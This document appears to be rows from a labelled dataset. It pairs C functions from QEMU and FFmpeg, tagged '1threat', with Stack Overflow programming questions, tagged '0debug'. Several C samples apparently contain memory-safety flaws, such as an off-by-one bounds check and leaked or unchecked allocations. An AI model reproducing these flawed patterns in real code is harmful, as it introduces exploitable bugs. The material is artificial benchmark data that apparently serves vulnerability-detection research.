problem
stringlengths
26
131k
labels
class label
2 classes
static int ipmi_register_netfn(IPMIBmcSim *s, unsigned int netfn, const IPMINetfn *netfnd) { if ((netfn & 1) || (netfn > MAX_NETFNS) || (s->netfns[netfn / 2])) { return -1; } s->netfns[netfn / 2] = netfnd; return 0; }
1threat
Python 2.7: Any way to return ALL possible combinations of numbers 0-9 for a certain number of digits? : <p>For example: say I wanted all possible combinations of 0-2 up to 3 digits the code would return the following:</p> <p>0</p> <p>1</p> <p>2</p> <p>00</p> <p>01</p> <p>02</p> <p>10</p> <p>11</p> <p>12</p> <p>20</p> <p>21</p> <p>22</p> <p>000</p> <p>001</p> <p>002</p> <p>010</p> <p>020</p> <p>011</p> <p>022</p> <p>012</p> <p>021</p> <p>100</p> <p>101</p> <p>102</p> <p>110</p> <p>111</p> <p>112</p> <p>120</p> <p>121</p> <p>122</p> <p>200</p> <p>201</p> <p>202</p> <p>210</p> <p>220</p> <p>211</p> <p>221</p> <p>212</p> <p>222</p>
0debug
static uint8_t *buffer_end(Buffer *buffer) { return buffer->buffer + buffer->offset; }
1threat
C# button up/down/left/right not detected : <p>A week ago I used this for detecting the <code>up/down/left/right keys</code> in my wpf application:</p> <pre><code>private void Invaders_KeyDown(object sender, KeyEventArgs e) { MessageBox.Show(e.KeyCode.ToString()); switch (e.KeyCode.ToString()) { case "Up": MessageBox.Show("Up"); break; case "Down": MessageBox.Show("Down"); break; case "Left": MessageBox.Show("Left"); break; case "Right": MessageBox.Show("Right"); break; } } </code></pre> <p>But today I started a new application and this does not work anymore? It detects everything except <code>up/down/left/right</code>. What could be going on here?</p>
0debug
static void test_dynamic_globalprop(void) { MyType *mt; static GlobalProperty props[] = { { TYPE_DYNAMIC_PROPS, "prop1", "101" }, { TYPE_DYNAMIC_PROPS, "prop2", "102" }, { TYPE_DYNAMIC_PROPS"-bad", "prop3", "103", true }, {} }; int all_used; qdev_prop_register_global_list(props); mt = DYNAMIC_TYPE(object_new(TYPE_DYNAMIC_PROPS)); qdev_init_nofail(DEVICE(mt)); g_assert_cmpuint(mt->prop1, ==, 101); g_assert_cmpuint(mt->prop2, ==, 102); }
1threat
Angular2 Html inside a Component : <p>I want create a component like a template. For example, instead of writing this everywhere: </p> <pre><code>&lt;div class="myClass"&gt; &lt;div class="myHeader" id="headerId"&gt; Title &lt;/div&gt; &lt;div class="myContent" id="contentId"&gt; &lt;&lt;Some HTML code&gt;&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>I want to use a component like:</p> <pre><code>&lt;my-component title="Title" headerID=headerId contentID=contentID&gt; &lt;&lt;Some HTML code&gt;&gt; &lt;/my-component&gt; </code></pre> <p>How can I implement something like these in Angular2?</p>
0debug
Tkinter is not known in Python 3.6 : <p>I am faced with <strong>No module named 'Tkinter'</strong> when using Python Anaconda 3.6. How can I access the module? I am using Windows 7 with 64-bit operating system.</p>
0debug
How to make reactive variables between COMPONENTS? Angular 2/4 : Good Stackers, Today I propose a doubt that I can not find or identify. Lately I'm practicing with the **Inputs / Outputs** and this has led me to do this example: In component A, I have `@Output () outputVariableA = [hi, hi2, hi3]` In component B, I have `@Input () inputVariableB [];` In component B, I define a function that modifies the inputVariableB. How do I make it REACTIVE, between the two VARIABLES the modification And that the modified data of the **inputVariableB** is reflected in the **outputVariableA** > If it has not been understood, ask me. Thank you very much for helping!
0debug
Check for a value in a Json : I found some posts related but i cant make it work. I have a variable that is a json object. var object = {id: "4", black: false, destacado: ""}; I need to make an if that makes something if "black" is true.
0debug
void av_dynarray_add(void *tab_ptr, int *nb_ptr, void *elem) { int nb, nb_alloc; intptr_t *tab; nb = *nb_ptr; tab = *(intptr_t**)tab_ptr; if ((nb & (nb - 1)) == 0) { if (nb == 0) nb_alloc = 1; else nb_alloc = nb * 2; tab = av_realloc(tab, nb_alloc * sizeof(intptr_t)); *(intptr_t**)tab_ptr = tab; } tab[nb++] = (intptr_t)elem; *nb_ptr = nb; }
1threat
My gcc compiler stopped working : Hello i just need to see why my Gcc stopped working after execution. #include<stdio.h> int main() { static char *s[] = {"black", "white", "pink", "violet"}; char **ptr[] = {s+3, s+2, s+1, s}, ***p; p=ptr; ++p; printf("the value of **p is %s\n\t",**p); // printed on screen pink printf("the value of **ptr[1] is %s\n\t",**ptr[1]); // here got the error printf("the value of *(s[2]) is %s\n\t",*s[2]); // here got the error return 0; }
0debug
Removing non-English words from text using Python : <p>I am doing a data cleaning exercise on python and the text that I am cleaning contains Italian words which I would like to remove. I have been searching online whether I would be able to do this on Python using a tool kit like nltk. </p> <p>For example given some text : </p> <pre><code>"Io andiamo to the beach with my amico." </code></pre> <p>I would like to be left with : </p> <pre><code>"to the beach with my" </code></pre> <p>Does anyone know of a way as to how this could be done? Any help would be much appreciated. </p>
0debug
'java.net.Socket java.net.ServerSocket.accept()' on a null object reference : <p><strong>Server Socket throwing this error and app completely crashes.</strong> I called this thread in my onCreate() method . When activity is running for the first time it is good but after finishing and get back to this activity is giving below error. </p> <p><em>'java.net.Socket java.net.ServerSocket.accept()' on a null object reference</em> </p> <pre><code> private class ClientConnectionThread implements Runnable { ServerSocket serversocket; public ClientConnectionThread(){ try{ serversocket = new ServerSocket(5005); serversocket.setReceiveBufferSize(1024*1024); Log.v("BoardCastRunning","BoardCast Server Waiting"); }catch (IOException ex){ Log.v("BoardCastError",ex.toString()); } } @Override public void run() { while(true){ try{ streamClientSocket = serversocket.accept(); Log.v("BoardCast","New Connection"); videoBroadcastSockets.add(streamClientSocket); runOnUiThread(new Runnable() { @Override public void run() { Utils.shortToast(context, "Client connected from: " + streamClientSocket.getInetAddress().getHostAddress() + " " + streamClientSocket.getPort()); } }); } catch(IOException ex){ Log.v("BoardCastError",ex.toString()); } } } } </code></pre>
0debug
How to align button and ul elements horizontally : <p>I want to achieve following layout:</p> <p>[my button][hello1][hello2]</p> <p>This is html:</p> <pre><code>&lt;div id='container'&gt; &lt;button id='my-button'&gt;my button&lt;/button&gt; &lt;ul id='my-ul'&gt; &lt;li&gt;hello1&lt;/li&gt; &lt;li&gt;hello2&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>How to define css?</p>
0debug
Figuring out some programming problems in C# (homework) : <pre><code>{ class AutoPolicy { public int AccountNumber { get; set; } public string MakeAndModel { get; set; } private string state; public string State { get { return state; } set { if (State.Equals("MA" || "CT" || "ME" || "NH" || "NJ" || "NY" || "PA" || "VT") { State = state; } else { Console.WriteLine("The state code is wrong."); } } } public AutoPolicy(int accountNumber, string makeAndModel, string state) { AccountNumber = accountNumber; MakeAndModel = makeAndModel; State = state; } public bool IsNoFaultState { get { bool noFaultState; switch (State) { case "MA": case "NJ": case "NY": case "PA": noFaultState = true; break; default: noFaultState = false; break; } return noFaultState; } } class AutoPolicyTest { static void Main() { AutoPolicy policy1 = new AutoPolicy(11111111, "Toyota Camry", "NJ"); AutoPolicy policy2 = new AutoPolicy(22222222, "Ford Fusion", "ME"); PolicyInNoFaultState(policy1); PolicyInNoFaultState(policy2); } public static void PolicyInNoFaultState(AutoPolicy policy) { Console.WriteLine("The auto policy:"); Console.Write($"Account #: {policy.AccountNumber};"); Console.WriteLine($"Car: {policy.MakeAndModel};"); Console.Write($"State {policy.State};"); Console.Write($"{(policy.IsNoFaultState ? "is" : "is not")}"); Console.WriteLine(" a no-fault state\n"); } } } } </code></pre> <p>This is my code for an homework assignment I have to modify a program in the book (Which I'd much rather make my own program), but the instructions say: Modify the program to validate the two letter state codes for the northeast states. It then lists the different states and the corresponding codes, all of which are in my code. Then it says: In the State property's set accessor, use the logical OR (||) operator to create a compound condition in an if...else statement that compares the method's argument with each two-letter code.</p> <p>I apologize for the huge block of code but I'm not sure what's causing the problem (I'm kind of new to c#), but the error I'm getting: is operator '||' cannot be applied to operands of type 'string' and 'string'. Any help would be appreciated, as this makes little sense to me, as being new to language. Thanks!</p>
0debug
static void isabus_fdc_realize(DeviceState *dev, Error **errp) { ISADevice *isadev = ISA_DEVICE(dev); FDCtrlISABus *isa = ISA_FDC(dev); FDCtrl *fdctrl = &isa->state; Error *err = NULL; isa_register_portio_list(isadev, isa->iobase, fdc_portio_list, fdctrl, "fdc"); isa_init_irq(isadev, &fdctrl->irq, isa->irq); fdctrl->dma_chann = isa->dma; if (fdctrl->dma_chann != -1) { fdctrl->dma = isa_get_dma(isa_bus_from_device(isadev), isa->dma); assert(fdctrl->dma); } qdev_set_legacy_instance_id(dev, isa->iobase, 2); fdctrl_realize_common(fdctrl, &err); if (err != NULL) { error_propagate(errp, err); return; } }
1threat
AVCodecContext *avcodec_alloc_context3(const AVCodec *codec) { AVCodecContext *avctx= av_malloc(sizeof(AVCodecContext)); if(avctx==NULL) return NULL; if(avcodec_get_context_defaults3(avctx, codec) < 0){ av_free(avctx); return NULL; } return avctx; }
1threat
how to change payment date in Azure? : <p>It looks like it costs 8 days per month in Azure. How do I change my billing date? What permissions do I need to change the payment date?</p>
0debug
Where can I find Java 8u241? : <p>I am looking for Java 8u241, as it is a requirement for a project I am working on. I have not been able to find it anywhere; not even Java’s own website.</p> <p>Any suggestions? I appreciate your’alls help!</p>
0debug
Generic type 'Result' specialized with too few type parameters (got 1, but expected 2) : <p>I just wanted to include Result in my project and am running across a few issues. It seems to me as if Alamofire (which is already a dependency) defines its own Result type throwing problems when trying to write functions that return results.</p> <p>For example Xcode (10.2 beta 4) tells me that I can't write Result-> Response = (_ result: Result) -> Void because Generic type 'Result' specialized with too few type parameters (got 1, but expected 2).</p> <p>Both are linked as frameworks installed via Cocoapods in a "Swift 5.0 beta" project.</p> <p>I'm guessing issues like this shouldn't actually be occurring, but I'm doing something wrong here. Any pointers would be great, thank you!</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>import Foundation import Alamofire typealias Response&lt;T&gt; = (_ result: Result&lt;T&gt;) -&gt; Void //error here class APIClient { private static let baseUrl: URL = URL(string: "https://api.flickr.com/services/rest/")! private static let key: String = "8e15e775f3c4e465131008d1a8bcd616" private static let parameters: Parameters = [ "api_key": key, "format": "json", "nojsoncallback": 1 ] static let shared: APIClient = APIClient() let imageCache = NSCache&lt;NSString, UIImage&gt;() @discardableResult private static func request&lt;T: Decodable&gt;(path: String? = nil, method: HTTPMethod, parameters: Parameters?, decoder: JSONDecoder = JSONDecoder(), completion: @escaping (Result&lt;T&gt;) -&gt; Void) -&gt; DataRequest { let parameters = parameters?.merging(APIClient.parameters, uniquingKeysWith: { (a, _) in a }) return AF.request(try! encode(path: path, method: method, parameters: parameters)) .responseDecodable (decoder: decoder) { (response: DataResponse&lt;T&gt;) in completion(response.result) } }</code></pre> </div> </div> </p>
0debug
static int calculate_new_instance_id(const char *idstr) { SaveStateEntry *se; int instance_id = 0; TAILQ_FOREACH(se, &savevm_handlers, entry) { if (strcmp(idstr, se->idstr) == 0 && instance_id <= se->instance_id) { instance_id = se->instance_id + 1; } } return instance_id; }
1threat
VirtIODevice *virtio_net_init(DeviceState *dev, NICConf *conf, virtio_net_conf *net) { VirtIONet *n; n = (VirtIONet *)virtio_common_init("virtio-net", VIRTIO_ID_NET, sizeof(struct virtio_net_config), sizeof(VirtIONet)); n->vdev.get_config = virtio_net_get_config; n->vdev.set_config = virtio_net_set_config; n->vdev.get_features = virtio_net_get_features; n->vdev.set_features = virtio_net_set_features; n->vdev.bad_features = virtio_net_bad_features; n->vdev.reset = virtio_net_reset; n->vdev.set_status = virtio_net_set_status; n->rx_vq = virtio_add_queue(&n->vdev, 256, virtio_net_handle_rx); n->tx_vq = virtio_add_queue(&n->vdev, 256, virtio_net_handle_tx); n->ctrl_vq = virtio_add_queue(&n->vdev, 64, virtio_net_handle_ctrl); qemu_macaddr_default_if_unset(&conf->macaddr); memcpy(&n->mac[0], &conf->macaddr, sizeof(n->mac)); n->status = VIRTIO_NET_S_LINK_UP; n->nic = qemu_new_nic(&net_virtio_info, conf, dev->info->name, dev->id, n); qemu_format_nic_info_str(&n->nic->nc, conf->macaddr.a); n->tx_timer = qemu_new_timer(vm_clock, virtio_net_tx_timer, n); n->tx_waiting = 0; n->tx_timeout = net->txtimer; n->tx_burst = net->txburst; n->mergeable_rx_bufs = 0; n->promisc = 1; n->mac_table.macs = qemu_mallocz(MAC_TABLE_ENTRIES * ETH_ALEN); n->vlans = qemu_mallocz(MAX_VLAN >> 3); n->qdev = dev; register_savevm(dev, "virtio-net", -1, VIRTIO_NET_VM_VERSION, virtio_net_save, virtio_net_load, n); n->vmstate = qemu_add_vm_change_state_handler(virtio_net_vmstate_change, n); return &n->vdev; }
1threat
Receive AccessDenied when trying to access a page via the full url on my website : <p>For a while, I was simply storing the contents of my website in a s3 bucket and could access all pages via the full url just fine. I wanted to make my website more secure by adding an SSL so I created a CloudFront Distribution to point to my s3 bucket.</p> <p>The site will load just fine, but if the user tries to refresh the page or if they try to access a page using the full url (i.e., www.example.com/home), they will receive an AccessDenied page.</p> <p><a href="https://i.stack.imgur.com/4tMgZ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/4tMgZ.png" alt="enter image description here"></a></p> <p>I have a policy on my s3 bucket that restricts access to only the Origin Access Identity and index.html is set as my domain root object.</p> <p>I am not understanding what I am missing.</p> <p>To demo, feel free to visit my <a href="http://kurtking.me" rel="noreferrer">site</a>.</p> <p>You will notice how it redirects you to kurtking.me/home. To reproduce the error, try refreshing the page or access a page via full URL (i.e., kurtking.me/life)</p> <p>Any help is much appreciated as I have been trying to wrap my head around this and search for answers for a few days now.</p>
0debug
Limit insert in column in mysql : <p>How can I limit the maximum times a string can be inserted in a column in MySQL. If it reaches the maximum amount, it moves to the next. For an example if 1 is entered 3 times it moves to 2. Like 1 1 1 2 2 2 3 3 3 4 4 4..... and so on.</p>
0debug
void tlb_fill (target_ulong addr, int is_write, int mmu_idx, void *retaddr) { TranslationBlock *tb; CPUState *saved_env; unsigned long pc; int ret; saved_env = env; env = cpu_single_env; D_LOG("%s pc=%x tpc=%x ra=%x\n", __func__, env->pc, env->debug1, retaddr); ret = cpu_cris_handle_mmu_fault(env, addr, is_write, mmu_idx); if (unlikely(ret)) { if (retaddr) { pc = (unsigned long)retaddr; tb = tb_find_pc(pc); if (tb) { cpu_restore_state(tb, env, pc); helper_top_evaluate_flags(); } } cpu_loop_exit(env); } env = saved_env; }
1threat
How to read file names from a text file and change their permissions in linux : <p>I have created a text file that contains 7 different file names contained in a directory. I am looking to create a piece of code that will scan through this text file and read the file names. I then want the piece of code to change the access permissions for these 7 files to chmod 754. I have searched many webpages but cant find anything similar to this, any help is appreciated.</p>
0debug
INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package signatures do not match the previously installed version; ignoring : <p>I get this error when trying generate a debug apk for update an app directly on the device (Android - React Native):</p> <blockquote> <p>Execution failed for task ':app:installDebug'.</p> <blockquote> <p>com.android.builder.testing.api.DeviceException: com.android.ddmlib.InstallException: Failed to finalize session : INSTALL_FAILED_UPDATE_INCOMPATIBLE: Package prensa.com signatures do not match the previously installed version; ignoring!</p> </blockquote> </blockquote> <p>Im sure that version code and version name were incremented and the package name is the same.</p> <p>Also, the keystore and other keys are same used before.</p> <p>Where is the error?</p>
0debug
Find a Char in a PHP String : <p>I'm trying to make a site that prints out some stuff from a database. I need it to print on a new line after the '#' char is encountered in the string retrieved from the database. How do I go about making it print on a new line?</p>
0debug
iterateing over a list python program : hey guys i wanted know how to iterate over a list in my code i want to get rid of every index value that is equal to 10 and,get rid of it after completing the program i got an index out of range error.I wanted to know what that means and how could i refine my code so that i get rid of every value that is equal to ten and then return the new list without the ten values here is my code mylist = [10,10,10,10,10,10,9,9,9,9,9,0,0,0] for i in range(len(mylist)): if mylist[i] ==10: mylist.pop(i) print( mylist)
0debug
How to Display .txt file from url in android and make each item clikable? : I am having a little trouble in making fully fuctional App where Displaying .txt file from url in android app , maing each displayed item clickable with message or link or anything . If someone already know any examples anywhere where i can look up please give links . Please kindly help .
0debug
void acpi_pm1_cnt_reset(ACPIREGS *ar) { ar->pm1.cnt.cnt = 0; if (ar->pm1.cnt.cmos_s3) { qemu_irq_lower(ar->pm1.cnt.cmos_s3); } }
1threat
How does sp_randint work? : <p>I am doing hyperparameter optimisation of Random Forest classifier. I am planning to use RandomSearchCV. </p> <p>So by checking the available code in Scikit learn: What does sp_randint do? Does it randomly take a value from 1 to 11? Can it be replaced by other function?</p> <pre><code> from scipy.stats import randint as sp_randint param_dist = {"n_estimators": sp_randint (1, 11), "max_depth": [3, None], "max_features": sp_randint(1, 11), "min_samples_split": sp_randint(1, 11), "min_samples_leaf": sp_randint(1, 11), } </code></pre> <p>Thank you.</p>
0debug
Connecting a Laser Distance Measurer (Bosch Disto GLM 50 C) with Smartphone (Android Studio) : <p>I got stuck at a special problem (I think). For a study project I have to make an Android application that can connect to a Laser Distance Measurer (Bosch GLM 50 C Distometer). So far I went through countless tutorials and hints here at Stackoverflow and other sources.</p> <p>I'm new to Android and am sligthly overwhelmed. The task is to create an app, that reads the measured distance on the Bosch device and display/save it on the smartphone via Bluetooth.</p> <p>Now my concrete question is: Is it possible to read the data (e.g. 2.083m) sent from the Bluetooth device? Any suggestions how to achieve that?</p> <p>I'm able to establish a connection with the device, following this tutorial I found:</p> <pre><code>package com.test.bluetooth; import java.io.DataInputStream; public class Main_Activity extends Activity implements OnItemClickListener { TextView measuredValue; ArrayAdapter&lt;String&gt; listAdapter; ListView listView; BluetoothAdapter btAdapter; Set&lt;BluetoothDevice&gt; devicesArray; ArrayList&lt;String&gt; pairedDevices; ArrayList&lt;BluetoothDevice&gt; devices; public static final UUID MY_UUID = UUID.fromString("00001101-0000-1000-8000-00805F9B34FB"); protected static final int SUCCESS_CONNECT = 0; protected static final int MESSAGE_READ = 1; IntentFilter filter; BroadcastReceiver receiver; String tag = "debugging"; Handler mHandler = new Handler(){ @Override public void handleMessage(Message msg) { // TODO Auto-generated method stub Log.i(tag, "in handler"); super.handleMessage(msg); switch(msg.what){ case SUCCESS_CONNECT: // DO something ConnectedThread connectedThread = new ConnectedThread((BluetoothSocket)msg.obj); // Toast.makeText(getApplicationContext(), "VERBUNDEN", 0).show(); String s = "Verbindung erfolgreich"; connectedThread.write(s.getBytes()); Log.i(tag, "connected"); break; case MESSAGE_READ: byte[] readBuf = (byte[])msg.obj; String string = new String(readBuf); // Toast.makeText(getApplicationContext(), string, 0).show(); break; } } }; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); init(); if(btAdapter==null){ // Toast.makeText(getApplicationContext(), "Bluetooth nicht verfügbar", 0).show(); finish(); } else{ if(!btAdapter.isEnabled()){ turnOnBT(); } getPairedDevices(); startDiscovery(); } } private void startDiscovery() { // TODO Auto-generated method stub btAdapter.cancelDiscovery(); btAdapter.startDiscovery(); } private void turnOnBT() { // TODO Auto-generated method stub Intent intent =new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE); startActivityForResult(intent, 1); } private void getPairedDevices() { // TODO Auto-generated method stub devicesArray = btAdapter.getBondedDevices(); if(devicesArray.size()&gt;0){ for(BluetoothDevice device:devicesArray){ pairedDevices.add(device.getName()); } } } private void init() { // TODO Auto-generated method stub listView=(ListView)findViewById(R.id.listView); listView.setOnItemClickListener(this); listAdapter= new ArrayAdapter&lt;String&gt;(this, android.R.layout.simple_list_item_1,0); listView.setAdapter(listAdapter); btAdapter = BluetoothAdapter.getDefaultAdapter(); pairedDevices = new ArrayList&lt;String&gt;(); filter = new IntentFilter(BluetoothDevice.ACTION_FOUND); devices = new ArrayList&lt;BluetoothDevice&gt;(); receiver = new BroadcastReceiver(){ @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub String action = intent.getAction(); if(BluetoothDevice.ACTION_FOUND.equals(action)){ BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); devices.add(device); String s = ""; for(int a = 0; a &lt; pairedDevices.size(); a++){ if(device.getName().equals(pairedDevices.get(a))){ //append s = "Gekoppelt"; break; } } listAdapter.add(device.getName()+" "+s+" "+"\n"+device.getAddress()); } else if(BluetoothAdapter.ACTION_DISCOVERY_STARTED.equals(action)){ // run some code } else if(BluetoothAdapter.ACTION_DISCOVERY_FINISHED.equals(action)){ // run some code } else if(BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)){ if(btAdapter.getState() == btAdapter.STATE_OFF){ turnOnBT(); } } } }; registerReceiver(receiver, filter); filter = new IntentFilter(BluetoothAdapter.ACTION_DISCOVERY_STARTED); registerReceiver(receiver, filter); filter = new IntentFilter(BluetoothAdapter.ACTION_DISCOVERY_FINISHED); registerReceiver(receiver, filter); filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED); registerReceiver(receiver, filter); } @Override protected void onPause() { // TODO Auto-generated method stub super.onPause(); unregisterReceiver(receiver); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // TODO Auto-generated method stub super.onActivityResult(requestCode, resultCode, data); if(resultCode == RESULT_CANCELED){ Toast.makeText(getApplicationContext(), "Bluetooth muss aktiviert sein", Toast.LENGTH_SHORT).show(); finish(); } } public void onItemClick(AdapterView&lt;?&gt; arg0, View arg1, int arg2, long arg3) { // TODO Auto-generated method stub if(btAdapter.isDiscovering()){ btAdapter.cancelDiscovery(); } if(listAdapter.getItem(arg2).contains("Gekoppelt")){ BluetoothDevice selectedDevice = devices.get(arg2); ConnectThread connect = new ConnectThread(selectedDevice); connect.start(); Log.i(tag, "in click listener"); } else{ // Toast.makeText(getApplicationContext(), "Gerät ist nicht gekoppelt", 0).show(); } } private class ConnectThread extends Thread { private final BluetoothSocket mmSocket; private final BluetoothDevice mmDevice; public ConnectThread(BluetoothDevice device) { // Use a temporary object that is later assigned to mmSocket, // because mmSocket is final BluetoothSocket tmp = null; mmDevice = device; Log.i(tag, "construct"); // Get a BluetoothSocket to connect with the given BluetoothDevice try { // MY_UUID is the app's UUID string, also used by the server code tmp = device.createRfcommSocketToServiceRecord(MY_UUID); } catch (IOException e) { Log.i(tag, "get socket failed"); } mmSocket = tmp; } public void run() { // Cancel discovery because it will slow down the connection btAdapter.cancelDiscovery(); Log.i(tag, "Verbindung - läuft"); try { // Connect the device through the socket. This will block // until it succeeds or throws an exception mmSocket.connect(); Log.i(tag, "Verbindung - erfolgreich"); } catch (IOException connectException) { Log.i(tag, "connect failed"); // Unable to connect; close the socket and get out try { mmSocket.close(); } catch (IOException closeException) { } return; } // Do work to manage the connection (in a separate thread) mHandler.obtainMessage(SUCCESS_CONNECT, mmSocket).sendToTarget(); } /** Will cancel an in-progress connection, and close the socket */ public void cancel() { try { mmSocket.close(); } catch (IOException e) { } } } private class ConnectedThread extends Thread { private final BluetoothSocket mmSocket; private final InputStream mmInStream; private final OutputStream mmOutStream; public ConnectedThread(BluetoothSocket socket) { mmSocket = socket; InputStream tmpIn = null; OutputStream tmpOut = null; // Get the input and output streams, using temp objects because // member streams are final try { tmpIn = socket.getInputStream(); tmpOut = socket.getOutputStream(); } catch (IOException e) { } mmInStream = tmpIn; mmOutStream = tmpOut; } public void run() { byte[] buffer; // buffer store for the stream int bytes; // bytes returned from read() // Keep listening to the InputStream until an exception occurs while (true) { try { // Read from the InputStream buffer = new byte[1024]; bytes = mmInStream.read(buffer); // Send the obtained bytes to the UI activity mHandler.obtainMessage(MESSAGE_READ, bytes, -1, buffer) .sendToTarget(); } catch (IOException e) { break; } } } /* Call this from the main activity to send data to the remote device */ public void write(byte[] bytes) { try { mmOutStream.write(bytes); } catch (IOException e) { } } /* Call this from the main activity to shutdown the connection */ public void cancel() { try { mmSocket.close(); } catch (IOException e) { } } } } </code></pre> <p>After that, I found this example, that should read the incoming data from the device, but it didn't work:</p> <pre><code>try { Log.d((String) this.getTitle(), "Closing Server Socket....."); mmServerSocket.close();`` InputStream tmpIn = null; OutputStream tmpOut = null; // Get the BluetoothSocket input and output streams tmpIn = socket.getInputStream(); tmpOut = socket.getOutputStream(); DataInputStream mmInStream = new DataInputStream(tmpIn); DataOutputStream mmOutStream = new DataOutputStream(tmpOut); // here you can use the Input Stream to take the string from the client whoever is connecting //similarly use the output stream to send the data to the client text.setText(mmInStream.toString()); } catch (Exception e) { //catch your exception here } </code></pre>
0debug
void msi_uninit(struct PCIDevice *dev) { uint16_t flags; uint8_t cap_size; if (!(dev->cap_present & QEMU_PCI_CAP_MSI)) { return; } flags = pci_get_word(dev->config + msi_flags_off(dev)); cap_size = msi_cap_sizeof(flags); pci_del_capability(dev, PCI_CAP_ID_MSI, cap_size); dev->cap_present &= ~QEMU_PCI_CAP_MSI; MSI_DEV_PRINTF(dev, "uninit\n"); }
1threat
static int mov_read_ddts(MOVContext *c, AVIOContext *pb, MOVAtom atom) { const uint32_t ddts_size = 20; AVStream *st = NULL; uint8_t *buf = NULL; uint32_t frame_duration_code = 0; uint32_t channel_layout_code = 0; GetBitContext gb; buf = av_malloc(ddts_size + AV_INPUT_BUFFER_PADDING_SIZE); if (!buf) { return AVERROR(ENOMEM); } if (avio_read(pb, buf, ddts_size) < ddts_size) { return AVERROR_INVALIDDATA; } init_get_bits(&gb, buf, 8*ddts_size); if (c->fc->nb_streams < 1) { return 0; } st = c->fc->streams[c->fc->nb_streams-1]; st->codecpar->sample_rate = get_bits_long(&gb, 32); if (st->codecpar->sample_rate <= 0) { av_log(c->fc, AV_LOG_ERROR, "Invalid sample rate %d\n", st->codecpar->sample_rate); return AVERROR_INVALIDDATA; } skip_bits_long(&gb, 32); st->codecpar->bit_rate = get_bits_long(&gb, 32); st->codecpar->bits_per_coded_sample = get_bits(&gb, 8); frame_duration_code = get_bits(&gb, 2); skip_bits(&gb, 30); channel_layout_code = get_bits(&gb, 16); st->codecpar->frame_size = (frame_duration_code == 0) ? 512 : (frame_duration_code == 1) ? 1024 : (frame_duration_code == 2) ? 2048 : (frame_duration_code == 3) ? 4096 : 0; if (channel_layout_code > 0xff) { av_log(c->fc, AV_LOG_WARNING, "Unsupported DTS audio channel layout"); } st->codecpar->channel_layout = ((channel_layout_code & 0x1) ? AV_CH_FRONT_CENTER : 0) | ((channel_layout_code & 0x2) ? AV_CH_FRONT_LEFT : 0) | ((channel_layout_code & 0x2) ? AV_CH_FRONT_RIGHT : 0) | ((channel_layout_code & 0x4) ? AV_CH_SIDE_LEFT : 0) | ((channel_layout_code & 0x4) ? AV_CH_SIDE_RIGHT : 0) | ((channel_layout_code & 0x8) ? AV_CH_LOW_FREQUENCY : 0); st->codecpar->channels = av_get_channel_layout_nb_channels(st->codecpar->channel_layout); return 0; }
1threat
Ruby - Check if a particular element in the array starts with a String : So I have this array `a` with values such as `['___', 'abc', 'def']` How can I check if `a[0]` starts with `"___"` ? I have something like this `a[0].start_with?("___")`, but I get an error. I am running Ruby 2.1.8 Cheers!
0debug
Custom loop in Python : <p>Hi i am trying to scrape a part of a website using python. here is code/result I want. Scraping multiple pages.</p> <pre><code>y = 7 print part[y].text print part[(y*2)+2].text print part[(y*4)+4].text print part[(y*6)+6].text print part[(y*8)+8].text print part[(y*10)+10].text </code></pre> <p>Is there any way to use while loop to get the data?</p>
0debug
Does Shopping Malls really need a Navigation App? : <p>Just wondering how the Indoor navigation app can be beneficial for Shopping malls. </p>
0debug
static int qcelp_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; QCELPContext *q = avctx->priv_data; float *outbuffer = data; int i; float quantized_lspf[10], lpc[10]; float gain[16]; float *formant_mem; if((q->bitrate = determine_bitrate(avctx, buf_size, &buf)) == I_F_Q) { warn_insufficient_frame_quality(avctx, "bitrate cannot be determined."); goto erasure; } if(q->bitrate == RATE_OCTAVE && (q->first16bits = AV_RB16(buf)) == 0xFFFF) { warn_insufficient_frame_quality(avctx, "Bitrate is 1/8 and first 16 bits are on."); goto erasure; } if(q->bitrate > SILENCE) { const QCELPBitmap *bitmaps = qcelp_unpacking_bitmaps_per_rate[q->bitrate]; const QCELPBitmap *bitmaps_end = qcelp_unpacking_bitmaps_per_rate[q->bitrate] + qcelp_unpacking_bitmaps_lengths[q->bitrate]; uint8_t *unpacked_data = (uint8_t *)&q->frame; init_get_bits(&q->gb, buf, 8*buf_size); memset(&q->frame, 0, sizeof(QCELPFrame)); for(; bitmaps < bitmaps_end; bitmaps++) unpacked_data[bitmaps->index] |= get_bits(&q->gb, bitmaps->bitlen) << bitmaps->bitpos; if(q->frame.reserved) { warn_insufficient_frame_quality(avctx, "Wrong data in reserved frame area."); goto erasure; } if(q->bitrate == RATE_QUARTER && codebook_sanity_check_for_rate_quarter(q->frame.cbgain)) { warn_insufficient_frame_quality(avctx, "Codebook gain sanity check failed."); goto erasure; } if(q->bitrate >= RATE_HALF) { for(i=0; i<4; i++) { if(q->frame.pfrac[i] && q->frame.plag[i] >= 124) { warn_insufficient_frame_quality(avctx, "Cannot initialize pitch filter."); goto erasure; } } } } decode_gain_and_index(q, gain); compute_svector(q, gain, outbuffer); if(decode_lspf(q, quantized_lspf) < 0) { warn_insufficient_frame_quality(avctx, "Badly received packets in frame."); goto erasure; } apply_pitch_filters(q, outbuffer); if(q->bitrate == I_F_Q) { erasure: q->bitrate = I_F_Q; q->erasure_count++; decode_gain_and_index(q, gain); compute_svector(q, gain, outbuffer); decode_lspf(q, quantized_lspf); apply_pitch_filters(q, outbuffer); }else q->erasure_count = 0; formant_mem = q->formant_mem + 10; for(i=0; i<4; i++) { interpolate_lpc(q, quantized_lspf, lpc, i); ff_celp_lp_synthesis_filterf(formant_mem, lpc, outbuffer + i * 40, 40, 10); formant_mem += 40; } postfilter(q, outbuffer, lpc); memcpy(q->formant_mem, q->formant_mem + 160, 10 * sizeof(float)); 